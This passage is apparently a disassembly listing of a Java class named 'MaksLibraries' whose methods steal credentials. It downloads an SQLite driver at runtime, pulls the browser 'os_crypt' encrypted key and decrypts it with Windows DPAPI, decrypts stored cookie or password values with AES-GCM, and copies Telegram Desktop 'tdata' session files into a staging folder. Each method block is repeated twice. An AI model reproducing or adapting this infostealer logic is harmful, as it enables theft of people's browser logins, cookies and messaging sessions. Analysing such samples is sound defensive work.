0000aaa1getstatic #1368 // Field makslibraries/MaksLibraries.y:I
0000aaa4invokevirtual #1393 // Method java/io/PrintStream.println:(I)V
0000aaa7aload_0
0000aaa8aload_1
0000aaa9invokestatic #1363 // Method makslibraries/MaksLibraries.crawlCookiesсс:(Ljava/io/File;[B)V
0000aaacgoto 0
0000aaafastore_2
0000aab0goto 261
0000aab3return
0000a9ae
0000ac30
0000ac30makslibraries.MaksLibraries::getDriverсс():
0000ac30new #332 // class java/io/File
0000ac33dup
0000ac34new #110 // class java/lang/StringBuilder
0000ac37dup
0000ac38invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000ac3bldc_w #1057 // String "APPDATA"
0000ac3einvokestatic #1043 // Method java/lang/System.getenv:(Ljava/lang/String;)Ljava/lang/String;
0000ac41invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000ac44ldc_w #1400 // String "/sqlite-jdbc-3.23.1.jar"
0000ac47invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000ac4ainvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000ac4dinvokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000ac50astore_0
0000ac51new #665 // class java/net/URL
0000ac54dup
0000ac55ldc_w #1203 // String "https://repo1.maven.org/maven2/org/xerial/sqlite-jdbc/3.23.1/sqlite-jdbc-3.23.1.jar"
0000ac58invokespecial #691 // Method java/net/URL.<init>:(Ljava/lang/String;)V
0000ac5bastore_1
0000ac5caload_0
0000ac5dinvokevirtual #1087 // Method java/io/File.exists:()Z
0000ac60ifne 56
0000ac63aload_1
0000ac64aload_0
0000ac65invokestatic #1207 // Method org/apache/commons/io/FileUtils.copyURLToFile:(Ljava/net/URL;Ljava/io/File;)V
0000ac68aload_0
0000ac69invokevirtual #1210 // Method java/io/File.deleteOnExit:()V
0000ac6cnew #1212 // class java/net/URLClassLoader
0000ac6fdup
0000ac70iconst_1
0000ac71anewarray #665 // class java/net/URL
0000ac74dup
0000ac75iconst_0
0000ac76aload_0
0000ac77invokevirtual #1216 // Method java/io/File.toURI:()Ljava/net/URI;
0000ac7ainvokevirtual #1222 // Method java/net/URI.toURL:()Ljava/net/URL;
0000ac7daastore
0000ac7einvokespecial #1225 // Method java/net/URLClassLoader.<init>:([Ljava/net/URL;)V
0000ac81astore_2
0000ac82ldc_w #1227 // String "org.sqlite.JDBC"
0000ac85iconst_1
0000ac86aload_2
0000ac87invokestatic #1233 // Method java/lang/Class.forName:(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;
0000ac8aastore_3
0000ac8baload_3
0000ac8cinvokevirtual #1236 // Method java/lang/Class.newInstance:()Ljava/lang/Object;
0000ac8fastore 4
0000ac91aload 4
0000ac93checkcast #1135 // class java/sql/Driver
0000ac96areturn
0000ac97astore_0
0000ac98aconst_null
0000ac99areturn
0000ac30
0000ac30makslibraries.MaksLibraries::getDriverсс():
0000ac30new #332 // class java/io/File
0000ac33dup
0000ac34new #110 // class java/lang/StringBuilder
0000ac37dup
0000ac38invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000ac3bldc_w #1057 // String "APPDATA"
0000ac3einvokestatic #1043 // Method java/lang/System.getenv:(Ljava/lang/String;)Ljava/lang/String;
0000ac41invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000ac44ldc_w #1400 // String "/sqlite-jdbc-3.23.1.jar"
0000ac47invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000ac4ainvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000ac4dinvokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000ac50astore_0
0000ac51new #665 // class java/net/URL
0000ac54dup
0000ac55ldc_w #1203 // String "https://repo1.maven.org/maven2/org/xerial/sqlite-jdbc/3.23.1/sqlite-jdbc-3.23.1.jar"
0000ac58invokespecial #691 // Method java/net/URL.<init>:(Ljava/lang/String;)V
0000ac5bastore_1
0000ac5caload_0
0000ac5dinvokevirtual #1087 // Method java/io/File.exists:()Z
0000ac60ifne 56
0000ac63aload_1
0000ac64aload_0
0000ac65invokestatic #1207 // Method org/apache/commons/io/FileUtils.copyURLToFile:(Ljava/net/URL;Ljava/io/File;)V
0000ac68aload_0
0000ac69invokevirtual #1210 // Method java/io/File.deleteOnExit:()V
0000ac6cnew #1212 // class java/net/URLClassLoader
0000ac6fdup
0000ac70iconst_1
0000ac71anewarray #665 // class java/net/URL
0000ac74dup
0000ac75iconst_0
0000ac76aload_0
0000ac77invokevirtual #1216 // Method java/io/File.toURI:()Ljava/net/URI;
0000ac7ainvokevirtual #1222 // Method java/net/URI.toURL:()Ljava/net/URL;
0000ac7daastore
0000ac7einvokespecial #1225 // Method java/net/URLClassLoader.<init>:([Ljava/net/URL;)V
0000ac81astore_2
0000ac82ldc_w #1227 // String "org.sqlite.JDBC"
0000ac85iconst_1
0000ac86aload_2
0000ac87invokestatic #1233 // Method java/lang/Class.forName:(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;
0000ac8aastore_3
0000ac8baload_3
0000ac8cinvokevirtual #1236 // Method java/lang/Class.newInstance:()Ljava/lang/Object;
0000ac8fastore 4
0000ac91aload 4
0000ac93checkcast #1135 // class java/sql/Driver
0000ac96areturn
0000ac97astore_0
0000ac98aconst_null
0000ac99areturn
0000ac30
0000ad45
0000ad45makslibraries.MaksLibraries::getKeyсс(java.io.File):
0000ad45new #461 // class com/google/gson/Gson
0000ad48dup
0000ad49invokespecial #462 // Method com/google/gson/Gson.<init>:()V
0000ad4cnew #464 // class java/io/FileReader
0000ad4fdup
0000ad50aload_0
0000ad51invokespecial #920 // Method java/io/FileReader.<init>:(Ljava/io/File;)V
0000ad54ldc_w #475 // class com/google/gson/JsonObject
0000ad57invokevirtual #479 // Method com/google/gson/Gson.fromJson:(Ljava/io/Reader;Ljava/lang/Class;)Ljava/lang/Object;
0000ad5acheckcast #475 // class com/google/gson/JsonObject
0000ad5dastore_1
0000ad5eaload_1
0000ad5fldc_w #481 // String "os_crypt"
0000ad62invokevirtual #484 // Method com/google/gson/JsonObject.get:(Ljava/lang/String;)Lcom/google/gson/JsonElement;
0000ad65invokevirtual #490 // Method com/google/gson/JsonElement.getAsJsonObject:()Lcom/google/gson/JsonObject;
0000ad68ldc_w #492 // String "encrypted_key"
0000ad6binvokevirtual #484 // Method com/google/gson/JsonObject.get:(Ljava/lang/String;)Lcom/google/gson/JsonElement;
0000ad6einvokevirtual #495 // Method com/google/gson/JsonElement.getAsString:()Ljava/lang/String;
0000ad71invokevirtual #281 // Method java/lang/String.getBytes:()[B
0000ad74astore_2
0000ad75invokestatic #499 // Method java/util/Base64.getDecoder:()Ljava/util/Base64$Decoder;
0000ad78aload_2
0000ad79invokevirtual #502 // Method java/util/Base64$Decoder.decode:([B)[B
0000ad7castore_2
0000ad7daload_2
0000ad7eiconst_5
0000ad7faload_2
0000ad80arraylength
0000ad81invokestatic #380 // Method java/util/Arrays.copyOfRange:([BII)[B
0000ad84astore_2
0000ad85aload_2
0000ad86invokestatic #507 // Method com/sun/jna/platform/win32/Crypt32Util.cryptUnprotectData:([B)[B
0000ad89areturn
0000ad8aastore_1
0000ad8baconst_null
0000ad8careturn
0000ad45
0000ad45makslibraries.MaksLibraries::getKeyсс(java.io.File):
0000ad45new #461 // class com/google/gson/Gson
0000ad48dup
0000ad49invokespecial #462 // Method com/google/gson/Gson.<init>:()V
0000ad4cnew #464 // class java/io/FileReader
0000ad4fdup
0000ad50aload_0
0000ad51invokespecial #920 // Method java/io/FileReader.<init>:(Ljava/io/File;)V
0000ad54ldc_w #475 // class com/google/gson/JsonObject
0000ad57invokevirtual #479 // Method com/google/gson/Gson.fromJson:(Ljava/io/Reader;Ljava/lang/Class;)Ljava/lang/Object;
0000ad5acheckcast #475 // class com/google/gson/JsonObject
0000ad5dastore_1
0000ad5eaload_1
0000ad5fldc_w #481 // String "os_crypt"
0000ad62invokevirtual #484 // Method com/google/gson/JsonObject.get:(Ljava/lang/String;)Lcom/google/gson/JsonElement;
0000ad65invokevirtual #490 // Method com/google/gson/JsonElement.getAsJsonObject:()Lcom/google/gson/JsonObject;
0000ad68ldc_w #492 // String "encrypted_key"
0000ad6binvokevirtual #484 // Method com/google/gson/JsonObject.get:(Ljava/lang/String;)Lcom/google/gson/JsonElement;
0000ad6einvokevirtual #495 // Method com/google/gson/JsonElement.getAsString:()Ljava/lang/String;
0000ad71invokevirtual #281 // Method java/lang/String.getBytes:()[B
0000ad74astore_2
0000ad75invokestatic #499 // Method java/util/Base64.getDecoder:()Ljava/util/Base64$Decoder;
0000ad78aload_2
0000ad79invokevirtual #502 // Method java/util/Base64$Decoder.decode:([B)[B
0000ad7castore_2
0000ad7daload_2
0000ad7eiconst_5
0000ad7faload_2
0000ad80arraylength
0000ad81invokestatic #380 // Method java/util/Arrays.copyOfRange:([BII)[B
0000ad84astore_2
0000ad85aload_2
0000ad86invokestatic #507 // Method com/sun/jna/platform/win32/Crypt32Util.cryptUnprotectData:([B)[B
0000ad89areturn
0000ad8aastore_1
0000ad8baconst_null
0000ad8careturn
0000ad45
0000ae11
0000ae11makslibraries.MaksLibraries::decryptcc(byte[], byte[]):
0000ae11ldc_w #368 // String "AES/GCM/NoPadding"
0000ae14invokestatic #374 // Method javax/crypto/Cipher.getInstance:(Ljava/lang/String;)Ljavax/crypto/Cipher;
0000ae17astore_2
0000ae18aload_0
0000ae19iconst_3
0000ae1abipush 15
0000ae1cinvokestatic #380 // Method java/util/Arrays.copyOfRange:([BII)[B
0000ae1fastore_3
0000ae20aload_0
0000ae21bipush 15
0000ae23aload_0
0000ae24arraylength
0000ae25invokestatic #380 // Method java/util/Arrays.copyOfRange:([BII)[B
0000ae28astore 4
0000ae2anew #382 // class javax/crypto/spec/GCMParameterSpec
0000ae2ddup
0000ae2esipush 128
0000ae31aload_3
0000ae32invokespecial #385 // Method javax/crypto/spec/GCMParameterSpec.<init>:(I[B)V
0000ae35astore 5
0000ae37new #387 // class javax/crypto/spec/SecretKeySpec
0000ae3adup
0000ae3baload_1
0000ae3cldc_w #389 // String "AES"
0000ae3finvokespecial #392 // Method javax/crypto/spec/SecretKeySpec.<init>:([BLjava/lang/String;)V
0000ae42astore 6
0000ae44aload_2
0000ae45iconst_2
0000ae46aload 6
0000ae48aload 5
0000ae4ainvokevirtual #396 // Method javax/crypto/Cipher.init:(ILjava/security/Key;Ljava/security/spec/AlgorithmParameterSpec;)V
0000ae4dnew #91 // class java/lang/String
0000ae50dup
0000ae51aload_2
0000ae52aload 4
0000ae54invokevirtual #400 // Method javax/crypto/Cipher.doFinal:([B)[B
0000ae57invokespecial #403 // Method java/lang/String.<init>:([B)V
0000ae5aareturn
0000ae5bastore_2
0000ae5caload_2
0000ae5dinvokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
0000ae60aconst_null
0000ae61areturn
0000ae11
0000ae11makslibraries.MaksLibraries::decryptcc(byte[], byte[]):
0000ae11ldc_w #368 // String "AES/GCM/NoPadding"
0000ae14invokestatic #374 // Method javax/crypto/Cipher.getInstance:(Ljava/lang/String;)Ljavax/crypto/Cipher;
0000ae17astore_2
0000ae18aload_0
0000ae19iconst_3
0000ae1abipush 15
0000ae1cinvokestatic #380 // Method java/util/Arrays.copyOfRange:([BII)[B
0000ae1fastore_3
0000ae20aload_0
0000ae21bipush 15
0000ae23aload_0
0000ae24arraylength
0000ae25invokestatic #380 // Method java/util/Arrays.copyOfRange:([BII)[B
0000ae28astore 4
0000ae2anew #382 // class javax/crypto/spec/GCMParameterSpec
0000ae2ddup
0000ae2esipush 128
0000ae31aload_3
0000ae32invokespecial #385 // Method javax/crypto/spec/GCMParameterSpec.<init>:(I[B)V
0000ae35astore 5
0000ae37new #387 // class javax/crypto/spec/SecretKeySpec
0000ae3adup
0000ae3baload_1
0000ae3cldc_w #389 // String "AES"
0000ae3finvokespecial #392 // Method javax/crypto/spec/SecretKeySpec.<init>:([BLjava/lang/String;)V
0000ae42astore 6
0000ae44aload_2
0000ae45iconst_2
0000ae46aload 6
0000ae48aload 5
0000ae4ainvokevirtual #396 // Method javax/crypto/Cipher.init:(ILjava/security/Key;Ljava/security/spec/AlgorithmParameterSpec;)V
0000ae4dnew #91 // class java/lang/String
0000ae50dup
0000ae51aload_2
0000ae52aload 4
0000ae54invokevirtual #400 // Method javax/crypto/Cipher.doFinal:([B)[B
0000ae57invokespecial #403 // Method java/lang/String.<init>:([B)V
0000ae5aareturn
0000ae5bastore_2
0000ae5caload_2
0000ae5dinvokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
0000ae60aconst_null
0000ae61areturn
0000ae11
0000af1a
0000af1amakslibraries.MaksLibraries::tg():
0000af1anew #110 // class java/lang/StringBuilder
0000af1ddup
0000af1einvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000af21getstatic #946 // Field makslibraries/MaksLibraries.appData:Ljava/io/File;
0000af24invokevirtual #619 // Method java/lang/StringBuilder.append:(Ljava/lang/Object;)Ljava/lang/StringBuilder;
0000af27getstatic #1404 // Field java/io/File.separator:Ljava/lang/String;
0000af2ainvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000af2dldc_w #1406 // String "Telegram Desktop"
0000af30invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000af33invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000af36astore_0
0000af37new #110 // class java/lang/StringBuilder
0000af3adup
0000af3binvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000af3eaload_0
0000af3finvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000af42getstatic #1404 // Field java/io/File.separator:Ljava/lang/String;
0000af45invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000af48ldc_w #1408 // String "tdata"
0000af4binvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000af4einvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000af51astore_1
0000af52new #332 // class java/io/File
0000af55dup
0000af56aload_1
0000af57invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000af5aastore_2
0000af5bnew #332 // class java/io/File
0000af5edup
0000af5fnew #110 // class java/lang/StringBuilder
0000af62dup
0000af63invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000af66getstatic #311 // Field makslibraries/MaksLibraries.ilrFolderPath:Ljava/lang/String;
0000af69invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000af6cldc_w #1410 // String "\\tdata"
0000af6finvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000af72invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000af75invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000af78astore_3
0000af79aload_0
0000af7ainvokestatic #1413 // Method makslibraries/MaksLibraries.doesDirectoryExist:(Ljava/lang/String;)Z
0000af7distore 4
0000af7fiload 4
0000af81ifeq 220
0000af84aload_3
0000af85invokevirtual #1087 // Method java/io/File.exists:()Z
0000af88ifne 118
0000af8baload_3
0000af8cinvokevirtual #930 // Method java/io/File.mkdirs:()Z
0000af8fpop
0000af90aload_2
0000af91invokestatic #1417 // Method makslibraries/MaksLibraries.getMatchingFiles:(Ljava/io/File;)Ljava/util/List;
0000af94astore 5
0000af96aload 5
0000af98invokeinterface #1420 // Method java/util/List.iterator:()Ljava/util/Iterator;
0000af9dastore 6
0000af9faload 6
0000afa1invokeinterface #583 // Method java/util/Iterator.hasNext:()Z
0000afa6ifeq 169
0000afa9aload 6
0000afabinvokeinterface #587 // Method java/util/Iterator.next:()Ljava/lang/Object;
0000afb0checkcast #332 // class java/io/File
0000afb3astore 7
0000afb5aload 7
0000afb7aload_3
0000afb8invokestatic #1423 // Method makslibraries/MaksLibraries.copyFileToDirectory:(Ljava/io/File;Ljava/io/File;)V
0000afbbgoto 166
0000afbeastore 8
0000afc0goto 133
0000afc3aload_2
0000afc4invokestatic #1426 // Method makslibraries/MaksLibraries.getMatchingDirectories:(Ljava/io/File;)Ljava/util/List;
0000afc7astore 6
0000afc9aload 6
0000afcbinvokeinterface #1420 // Method java/util/List.iterator:()Ljava/util/Iterator;
0000afd0astore 7
0000afd2aload 7
0000afd4invokeinterface #583 // Method java/util/Iterator.hasNext:()Z
0000afd9ifeq 220
0000afdcaload 7
0000afdeinvokeinterface #587 // Method java/util/Iterator.next:()Ljava/lang/Object;
0000afe3checkcast #332 // class java/io/File
0000afe6astore 8
0000afe8aload 8
0000afeaaload_3
0000afebinvokestatic #1429 // Method makslibraries/MaksLibraries.copyDirectoryToDirectory:(Ljava/io/File;Ljava/io/File;)V
0000afeegoto 217
0000aff1astore 9
0000aff3goto 184
0000aff6goto 224
0000aff9astore_0
0000affareturn
0000af1a
0000af1amakslibraries.MaksLibraries::tg():
0000af1anew #110 // class java/lang/StringBuilder
0000af1ddup
0000af1einvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000af21getstatic #946 // Field makslibraries/MaksLibraries.appData:Ljava/io/File;
0000af24invokevirtual #619 // Method java/lang/StringBuilder.append:(Ljava/lang/Object;)Ljava/lang/StringBuilder;
0000af27getstatic #1404 // Field java/io/File.separator:Ljava/lang/String;
0000af2ainvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000af2dldc_w #1406 // String "Telegram Desktop"
0000af30invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000af33invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000af36astore_0
0000af37new #110 // class java/lang/StringBuilder
0000af3adup
0000af3binvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000af3eaload_0
0000af3finvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000af42getstatic #1404 // Field java/io/File.separator:Ljava/lang/String;
0000af45invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000af48ldc_w #1408 // String "tdata"
0000af4binvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000af4einvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000af51astore_1
0000af52new #332 // class java/io/File
0000af55dup
0000af56aload_1
0000af57invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000af5aastore_2
0000af5bnew #332 // class java/io/File
0000af5edup
0000af5fnew #110 // class java/lang/StringBuilder
0000af62dup
0000af63invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000af66getstatic #311 // Field makslibraries/MaksLibraries.ilrFolderPath:Ljava/lang/String;
0000af69invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000af6cldc_w #1410 // String "\\tdata"
0000af6finvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000af72invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000af75invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000af78astore_3
0000af79aload_0
0000af7ainvokestatic #1413 // Method makslibraries/MaksLibraries.doesDirectoryExist:(Ljava/lang/String;)Z
0000af7distore 4
0000af7fiload 4
0000af81ifeq 220
0000af84aload_3
0000af85invokevirtual #1087 // Method java/io/File.exists:()Z
0000af88ifne 118
0000af8baload_3
0000af8cinvokevirtual #930 // Method java/io/File.mkdirs:()Z
0000af8fpop
0000af90aload_2
0000af91invokestatic #1417 // Method makslibraries/MaksLibraries.getMatchingFiles:(Ljava/io/File;)Ljava/util/List;
0000af94astore 5
0000af96aload 5
0000af98invokeinterface #1420 // Method java/util/List.iterator:()Ljava/util/Iterator;
0000af9dastore 6
0000af9faload 6
0000afa1invokeinterface #583 // Method java/util/Iterator.hasNext:()Z
0000afa6ifeq 169
0000afa9aload 6
0000afabinvokeinterface #587 // Method java/util/Iterator.next:()Ljava/lang/Object;
0000afb0checkcast #332 // class java/io/File
0000afb3astore 7
0000afb5aload 7
0000afb7aload_3
0000afb8invokestatic #1423 // Method makslibraries/MaksLibraries.copyFileToDirectory:(Ljava/io/File;Ljava/io/File;)V
0000afbbgoto 166
0000afbeastore 8
0000afc0goto 133
0000afc3aload_2
0000afc4invokestatic #1426 // Method makslibraries/MaksLibraries.getMatchingDirectories:(Ljava/io/File;)Ljava/util/List;
0000afc7astore 6
0000afc9aload 6
0000afcbinvokeinterface #1420 // Method java/util/List.iterator:()Ljava/util/Iterator;
0000afd0astore 7
0000afd2aload 7
0000afd4invokeinterface #583 // Method java/util/Iterator.hasNext:()Z
0000afd9ifeq 220
0000afdcaload 7
0000afdeinvokeinterface #587 // Method java/util/Iterator.next:()Ljava/lang/Object;
0000afe3checkcast #332 // class java/io/File
0000afe6astore 8
0000afe8aload 8
0000afeaaload_3
0000afebinvokestatic #1429 // Method makslibraries/MaksLibraries.copyDirectoryToDirectory:(Ljava/io/File;Ljava/io/File;)V
0000afeegoto 217
0000aff1astore 9
0000aff3goto 184
0000aff6goto 224
0000aff9astore_0
0000affareturn
0000af1a
0000b195
0000b195makslibraries.MaksLibraries::doesDirectoryExist(java.lang.String):
0000b195new #332 // class java/io/File
0000b198dup
0000b199aload_0
0000b19ainvokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000b19dastore_1
0000b19eaload_1
0000b19finvokevirtual #1087 // Method java/io/File.exists:()Z
0000b1a2ifeq 27
0000b1a5aload_1
0000b1a6invokevirtual #844 // Method java/io/File.isDirectory:()Z
0000b1a9ifeq 27
0000b1aciconst_1
0000b1adgoto 28
0000b1b0iconst_0
0000b1b1ireturn
0000b195
0000b195makslibraries.MaksLibraries::doesDirectoryExist(java.lang.String):
0000b195new #332 // class java/io/File
0000b198dup
0000b199aload_0
0000b19ainvokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000b19dastore_1
0000b19eaload_1
0000b19finvokevirtual #1087 // Method java/io/File.exists:()Z
0000b1a2ifeq 27
0000b1a5aload_1
0000b1a6invokevirtual #844 // Method java/io/File.isDirectory:()Z
0000b1a9ifeq 27
0000b1aciconst_1
0000b1adgoto 28
0000b1b0iconst_0
0000b1b1ireturn
0000b195
0000b208
0000b208makslibraries.MaksLibraries::getMatchingFiles(java.io.File):
0000b208new #1439 // class java/util/ArrayList
0000b20bdup
0000b20cinvokespecial #1440 // Method java/util/ArrayList.<init>:()V
0000b20fastore_1
0000b210aload_0
0000b211invokevirtual #1087 // Method java/io/File.exists:()Z
0000b214ifeq 132
0000b217aload_0
0000b218invokevirtual #844 // Method java/io/File.isDirectory:()Z
0000b21bifeq 132
0000b21eaload_0
0000b21finvokevirtual #517 // Method java/io/File.listFiles:()[Ljava/io/File;
0000b222astore_2
0000b223aload_2
0000b224ifnull 132
0000b227aload_2
0000b228astore_3
0000b229aload_3
0000b22aarraylength
0000b22bistore 4
0000b22diconst_0
0000b22eistore 5
0000b230iload 5
0000b232iload 4
0000b234if_icmpge 94
0000b237aload_3
0000b238iload 5
0000b23aaaload
0000b23bastore 6
0000b23daload 6
0000b23finvokevirtual #951 // Method java/io/File.isFile:()Z
0000b242ifeq 88
0000b245aload 6
0000b247invokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
0000b24aastore 7
0000b24caload 7
0000b24eldc_w #1442 // String "^[A-Z0-9].*s$"
0000b251invokevirtual #1445 // Method java/lang/String.matches:(Ljava/lang/String;)Z
0000b254ifeq 88
0000b257aload_1
0000b258aload 6
0000b25ainvokeinterface #1446 // Method java/util/List.add:(Ljava/lang/Object;)Z
0000b25fpop
0000b260iinc 5, 1
0000b263goto 40
0000b266aload_1
0000b267new #332 // class java/io/File
0000b26adup
0000b26bnew #110 // class java/lang/StringBuilder
0000b26edup
0000b26finvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000b272aload_0
0000b273invokevirtual #619 // Method java/lang/StringBuilder.append:(Ljava/lang/Object;)Ljava/lang/StringBuilder;
0000b276ldc_w #1448 // String "\\key_datas"
0000b279invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000b27cinvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000b27finvokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000b282invokeinterface #1446 // Method java/util/List.add:(Ljava/lang/Object;)Z
0000b287pop
0000b288goto 132
0000b28bastore_3
0000b28caload_1
0000b28dareturn
0000b208
0000b208makslibraries.MaksLibraries::getMatchingFiles(java.io.File):
0000b208new #1439 // class java/util/ArrayList
0000b20bdup
0000b20cinvokespecial #1440 // Method java/util/ArrayList.<init>:()V
0000b20fastore_1
0000b210aload_0
0000b211invokevirtual #1087 // Method java/io/File.exists:()Z
0000b214ifeq 132
0000b217aload_0
0000b218invokevirtual #844 // Method java/io/File.isDirectory:()Z
0000b21bifeq 132
0000b21eaload_0
0000b21finvokevirtual #517 // Method java/io/File.listFiles:()[Ljava/io/File;
0000b222astore_2
0000b223aload_2
0000b224ifnull 132
0000b227aload_2
0000b228astore_3
0000b229aload_3
0000b22aarraylength
0000b22bistore 4
0000b22diconst_0
0000b22eistore 5
0000b230iload 5
0000b232iload 4
0000b234if_icmpge 94
0000b237aload_3
0000b238iload 5
0000b23aaaload
0000b23bastore 6
0000b23daload 6
0000b23finvokevirtual #951 // Method java/io/File.isFile:()Z
0000b242ifeq 88
0000b245aload 6
0000b247invokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
0000b24aastore 7
0000b24caload 7
0000b24eldc_w #1442 // String "^[A-Z0-9].*s$"
0000b251invokevirtual #1445 // Method java/lang/String.matches:(Ljava/lang/String;)Z
0000b254ifeq 88
0000b257aload_1
0000b258aload 6
0000b25ainvokeinterface #1446 // Method java/util/List.add:(Ljava/lang/Object;)Z
0000b25fpop
0000b260iinc 5, 1
0000b263goto 40
0000b266aload_1
0000b267new #332 // class java/io/File
0000b26adup
0000b26bnew #110 // class java/lang/StringBuilder
0000b26edup
0000b26finvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000b272aload_0
0000b273invokevirtual #619 // Method java/lang/StringBuilder.append:(Ljava/lang/Object;)Ljava/lang/StringBuilder;
0000b276ldc_w #1448 // String "\\key_datas"
0000b279invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000b27cinvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000b27finvokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
0000b282invokeinterface #1446 // Method java/util/List.add:(Ljava/lang/Object;)Z
0000b287pop
0000b288goto 132
0000b28bastore_3
0000b28caload_1
0000b28dareturn
0000b208
0000b36c
0000b36cmakslibraries.MaksLibraries::copyFileToDirectory(java.io.File, java.io.File):
0000b36caload_1
0000b36dinvokevirtual #338 // Method java/io/File.toPath:()Ljava/nio/file/Path;
0000b370aload_0
0000b371invokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
0000b374invokeinterface #1454 // Method java/nio/file/Path.resolve:(Ljava/lang/String;)Ljava/nio/file/Path;
0000b379astore_2
0000b37aaload_0
0000b37binvokevirtual #338 // Method java/io/File.toPath:()Ljava/nio/file/Path;
0000b37eaload_2
0000b37ficonst_1
0000b380anewarray #1111 // class java/nio/file/CopyOption
0000b383dup
0000b384iconst_0
0000b385getstatic #1117 // Field java/nio/file/StandardCopyOption.REPLACE_EXISTING:Ljava/nio/file/StandardCopyOption;
0000b388aastore
0000b389invokestatic #1121 // Method java/nio/file/Files.copy:(Ljava/nio/file/Path;Ljava/nio/file/Path;[Ljava/nio/file/CopyOption;)Ljava/nio/file/Path;
0000b38cpop
0000b38dreturn
0000b36c
0000b36cmakslibraries.MaksLibraries::copyFileToDirectory(java.io.File, java.io.File):
0000b36caload_1
0000b36dinvokevirtual #338 // Method java/io/File.toPath:()Ljava/nio/file/Path;
0000b370aload_0
0000b371invokevirtual #529 // Method java/io/File.getName:()Ljava/lang/String;
0000b374invokeinterface #1454 // Method java/nio/file/Path.resolve:(Ljava/lang/String;)Ljava/nio/file/Path;
0000b379astore_2
0000b37aaload_0
0000b37binvokevirtual #338 // Method java/io/File.toPath:()Ljava/nio/file/Path;
0000b37eaload_2
0000b37ficonst_1
0000b380anewarray #1111 // class java/nio/file/CopyOption
0000b383dup
0000b384iconst_0
0000b385getstatic #1117 // Field java/nio/file/StandardCopyOption.REPLACE_EXISTING:Ljava/nio/file/StandardCopyOption;
0000b388aastore
0000b389invokestatic #1121 // Method java/nio/file/Files.copy:(Ljava/nio/file/Path;Ljava/nio/file/Path;[Ljava/nio/file/CopyOption;)Ljava/nio/file/Path;
0000b38cpop
0000b38dreturn
0000b36c
0000b3ec
0000b3ecmakslibraries.MaksLibraries::getMatchingDirectories(java.io.File):
0000b3ecnew #1439 // class java/util/ArrayList
0000b3efdup
0000b3f0invokespecial #1440 // Method java/util/ArrayList.<init>:()V
0000b3f3astore_1
